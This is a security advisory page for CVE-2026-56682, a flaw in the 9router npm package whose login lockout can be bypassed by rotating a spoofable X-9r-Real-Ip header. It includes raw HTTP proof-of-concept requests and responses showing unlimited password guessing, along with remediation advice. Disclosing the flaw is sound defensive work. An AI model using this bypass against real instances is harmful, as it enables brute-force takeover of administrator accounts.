9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header
CVE-2026-56682 (GitHub advisory GHSA-32gc-64m7-hj7v) is a medium-severity vulnerability with a CVSS 3.1 base score of 5.3, classed as Improper Restriction of Excessive Authentication Attempts (CWE-307), in 9router (npm). Affected versions: <= 0.5.4. It is fixed in 0.5.8.
Published 22 Sept 2026Updated 22 Sept 2026
- CVE ID
- CVE-2026-56682
- GHSA ID
- GHSA-32gc-64m7-hj7v
- EPSS
- Not scored
- Weaknesses (CWE)
- KEV status
- Not in KEV
- Published
- 22 Sept 2026
- Updated
- 22 Sept 2026
- Ecosystem
- npm
- Assigned by (CNA)
- GitHub_M
Summary
Source: OSV (GitHub advisory)
9router enforces a progressive login lockout (5 failed attempts → temporary 30s+ lock) keyed on the client IP. The client IP used for this limiter is taken from the X-9r-Real-Ip request header, which is intended to be set only by the bundled custom-server.js layer from the unspoofable TCP socket address. In deployment modes where requests reach Next.js directly, a remote attacker controls this header and can assign a unique value to every request. Because each distinct header value maps to a fresh limiter bucket, the lockout never triggers, enabling unlimited password guessing against the dashboard login endpoint. This was reproduced against a live instance: a fixed header value was locked out (429) after 5 attempts, while rotating the header produced unlimited 401 responses with no lockout.
Affected Component
src/lib/auth/loginLimiter.jsgetClientIp()— derives the rate-limit bucket key from the client-suppliedX-9r-Real-IpheadercheckLock()/recordFail()— per-IP progressive lockout (MAX_FAILS_BEFORE_LOCK = 5)
src/app/api/auth/login/route.js— login endpoint protected by the above limiter
Root Cause
The brute-force protection partitions failed-attempt counters by client IP, but obtains that IP from a client-controllable HTTP header rather than from the transport layer. getClientIp() returns the value of X-9r-Real-Ip directly. The design assumes this header is produced and sanitized only by the trusted custom-server.js wrapper. When the application is served without that wrapper, the header passes through unmodified, so the attacker chooses the bucket key. Since the lockout is per-bucket, assigning a new value per request keeps every counter below the threshold:
Untrusted Client Input
↓
X-9r-Real-Ip: <attacker-chosen, rotated each request>
↓
getClientIp() → distinct bucket per request
↓
recordFail()/checkLock() → threshold (5) never reached
↓
unlimited 401 attempts, no 429 lockout
Attack Scenario
-
The instance is deployed in a mode that does not use
custom-server.js, and the login endpoint is reachable by the attacker (the default bind is0.0.0.0). -
The attacker submits password guesses to
POST /api/auth/login, setting a differentX-9r-Real-Ipvalue on each request (e.g.,10.0.0.1,10.0.0.2, ...). -
Each request is counted against a new bucket, so the limiter always reports remaining attempts and never returns
429. -
The attacker continues guessing without throttling until the dashboard password is recovered, yielding an authenticated admin session.
Proof of Concept
Baseline — fixed header value (lockout enforced)
Repeated POST /api/auth/login with a constant X-9r-Real-Ip: 9.9.9.9 and body {"password":"wrong"}:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 9.9.9.9
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses (sequential):
#1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
#2 → 401 {"error":"Invalid password. 3 attempt(s) left before lockout.","remainingBeforeLock":3}
#3 → 401 {"error":"Invalid password. 2 attempt(s) left before lockout.","remainingBeforeLock":2}
#4 → 401 {"error":"Invalid password. 1 attempt(s) left before lockout.","remainingBeforeLock":1}
#5 → 429 Retry-After: 30
{"error":"Too many failed attempts. Try again in 30s. ...","retryAfter":30}
Exploit — rotated header value (lockout bypassed)
Same request and body, but a different X-9r-Real-Ip per request, sent while 9.9.9.9 was already locked:
POST /api/auth/login HTTP/1.1
Host: victim.example.com:20127
X-9r-Real-Ip: 10.0.0.1
Content-Type: application/json
Content-Length: 20
Connection: close
{"password":"wrong"}
Observed responses:
X-9r-Real-Ip: 10.0.0.1 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.2 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
X-9r-Real-Ip: 10.0.0.3 → 401 {"error":"Invalid password. 4 attempt(s) left before lockout.","remainingBeforeLock":4}
Every rotated value resets to "4 attempt(s) left" and never returns 429, demonstrating unbounded guessing.
Impact
The login brute-force/credential-stuffing protection can be fully neutralized by a remote, unauthenticated attacker. This permits unlimited password guessing against the dashboard login endpoint, materially increasing the likelihood of account compromise. A recovered password yields an authenticated administrative session over the 9router dashboard and its protected APIs. The bypass is especially impactful given the default network bind (0.0.0.0) and the existence of a default dashboard password, both of which lower the effort required to succeed.
Remediation
- Do not derive the rate-limit key from a client-controllable header. Base
getClientIp()on the transport-level peer address (req.socket.remoteAddress) for the limiter bucket. - Only honor forwarded client-IP headers when they originate from explicitly trusted, configured proxy infrastructure.
- If
custom-server.jsis required for the security model, fail closed when its trusted marker is absent, and strip/reject any inbound client-suppliedX-9r-*headers at the edge before they reach the limiter. - Consider a global (non-bucketed) attempt ceiling and exponential backoff as defense-in-depth so that header manipulation cannot reset all counters.
Technical details
Source: GitHub Advisory Database
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NMedium5.3Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Privileges Required PR
- None
- User Interaction UI
- None
- Scope S
- Unchanged
- Confidentiality C
- Low
- Integrity I
- None
- Availability A
- None
CISA SSVC decision points
- Exploitation
- poc
- Proof-of-concept code is public
- Automatable
- yes
- Attackers can automate this at scale
- Technical impact
- partial
- Limited control of the affected system
CISA Coordinator assessment (SSVC 2.0.3) via CVE.org.
Affected packages
Source: OSV (GitHub advisory)
- 9routernpm
pkg:npm/9router- Affected versions
- <= 0.5.4
- Fixed in
- 0.5.8
| Package | Affected versions | Fixed in |
|---|---|---|
9router npm pkg:npm/9router |
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 0.5.8 or later.
Patch commits
feat(provider): add CodeBuddy CN provider (copilot.tencent.com)
+234 −59 across 18 files
- custom-server.js+9 −4
- open-sse/executors/codebuddy-cn.js+36 −0
- open-sse/executors/index.js+3 −0
- open-sse/providers/capabilities.js+24 −1
- open-sse/providers/registry/codebuddy-cn.js+62 −0
- open-sse/providers/registry/codebuddy.js+0 −32
- open-sse/providers/registry/index.js+1 −1
- open-sse/services/tokenRefresh.js+3 −0
- and 10 more files
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Credits
- b401treporter
Questions about CVE-2026-56682
- What is the GHSA ID for CVE-2026-56682?
- GitHub tracks CVE-2026-56682 as GHSA-32gc-64m7-hj7v.
- What is the CVSS score of CVE-2026-56682?
- CVE-2026-56682 has a CVSS 3.1 base score of 5.3 (Medium), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N.
- Which versions are affected by CVE-2026-56682?
- 9router (npm): <= 0.5.4.
- How do I fix CVE-2026-56682?
- Upgrade to 0.5.8 or later. The fix is in commit efd20be.
- What is the Package URL (PURL) for CVE-2026-56682?
- The affected package's PURL is pkg:npm/9router.
- Is CVE-2026-56682 exploited in the wild?
- CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-56682. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. CISA's SSVC assessment rates exploitation as "poc".
Data sources
Upstream records
- OSV (GitHub advisory)LoadedRaw JSON
- GitHub Advisory DatabaseLoadedRaw JSON
- OSV (CVE record)No record
- CVE.orgLoaded
- CISA KEV catalogLoaded
- FIRST EPSSNo record
Fetched 1 day ago (14 Oct 2026, 17:49 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
- SSVC
- CVE.org
- KEV status
- CISA KEV catalog
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.